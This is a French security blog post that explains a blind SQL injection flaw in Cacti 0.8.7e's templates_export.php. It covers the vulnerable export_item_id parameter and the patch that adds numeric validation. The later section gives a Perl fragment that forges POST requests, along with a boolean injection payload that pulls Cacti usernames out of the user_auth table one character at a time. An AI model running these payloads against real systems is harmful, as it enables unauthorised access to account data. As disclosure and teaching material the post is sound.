|
Vous pouvez également retouver d'autres articles sur notre blog ou sur Twitter .
30/04/2010 - Un exemple de Blind SQL Injection : Vulnérabilité Cacti
1 - Description Une faille dans « Cacti » a été découverte récemment. Celle-ci rend les versions ultérieures ou égales à la 0.8.7e vulnérables à des attaques de type « injection SQL ». 2 – Mettre à jour Pour une liste complète des versions vulnérables : · http://www.securityfocus.com/bid/39653/info Un patch est à disposition : · http://www.cacti.net/downloads/patches/0.8.7e/sql_injection_template_export.patch 3 – Explications L’injection SQL consiste à injecter du code SQL dans une requête. Celle qui nous intéresse ici est une requête POST de « templates_export.php » vers elle-même du paramètre « export_item_id » Voici le la partie de code responsable: function form_save() { « export_item_id » prend comme valeur un entier correspondant à l’identifiant du graphique que l’on souhaite exporter. Ci-dessous la requête POST lorsqu’on soumet la demande d’exportation sur templates_export.php : POST /cacti-0.8.7e/templates_export.php HTTP/1.1 En rouge on observe que l’on peut rajouter « and 1=1 » à la valeur de l’entrée « export_item_id ». Aucune erreur apparaît et votre requête SQL se déroule parfaitement. « 1=1 » est toujours vrai. Il est utilisé ici comme exemple, mais nous pouvons changer 1=1 par une requête SQL renvoyant VRAI. Par exemple, nous pouvons récupérer la liste des utilisateurs. Ci-dessous une capture de Tamper Data avec la modification : 4- Le patch Voici le code après le patch : function form_save() { On constate qu’une validation est faite sur l’entrée « export_item_id » afin d’éviter l’injection SQL. La fonction en question : function input_validate_input_number($value) { La vérification est simple. On regarde si la valeur est bien numérique et non nulle. Notre « and 1=1 » ne marchera donc plus. 5- Pour aller plus loin Il est intéressant de voir la faille exploitée concrètement Comme exemple, nous allons récupérer la liste des utilisateurs Cacti en base de données. On ne peut malheureusement pas faire un dump de la base de données. Les headers Php étant déjà envoyés au serveur, ils ne peuvent être modifiés rendant l’affichage impossible (cf capture ci-dessous). Il va donc falloir ruser pour les récupérer. Il est important de noter que la page reçue est différente s’il y a une erreur ou pas. Nous pouvons donc faire un script qui forge des requêtes POST, les envoie et récupère la page en réponse. #LA REQUETE POST AVEC L’INJECTION my $req = (POST 'http://cacti.randco.fr/templates_export.php', [ export_item_id => '44 AND 1=1', include_deps => 'on', output_format => '3', export_type => 'graph_template', save_component_export => '1', action => 'save', x => '34', y => '17', ]); #ON ENVOIE ET ON RECUPERE LE RESULTAT my $request = $bot->request($req); my $content = $bot->content();
Nous allons maintenant modifier notre injection afin de récupérer le premier caractère du premier username. L’injection sera : export_item_id => “44 and ascii(substring((SELECT username from user_auth limit 0,1),0,1))=$i” Ici nous faisons un test qui compare le code ascii du premier caractère du premier login à une variable $i. Faites varier votre variable de 0 à 128; Si la page retournée par le script n’est pas la page d’erreur, alors vous avez trouvé le code ascii qui vaut $i ! Voilà l’idée générale, avec ce principe vous pouvez récupérer le contenu des tables de la base de données de Cacti. |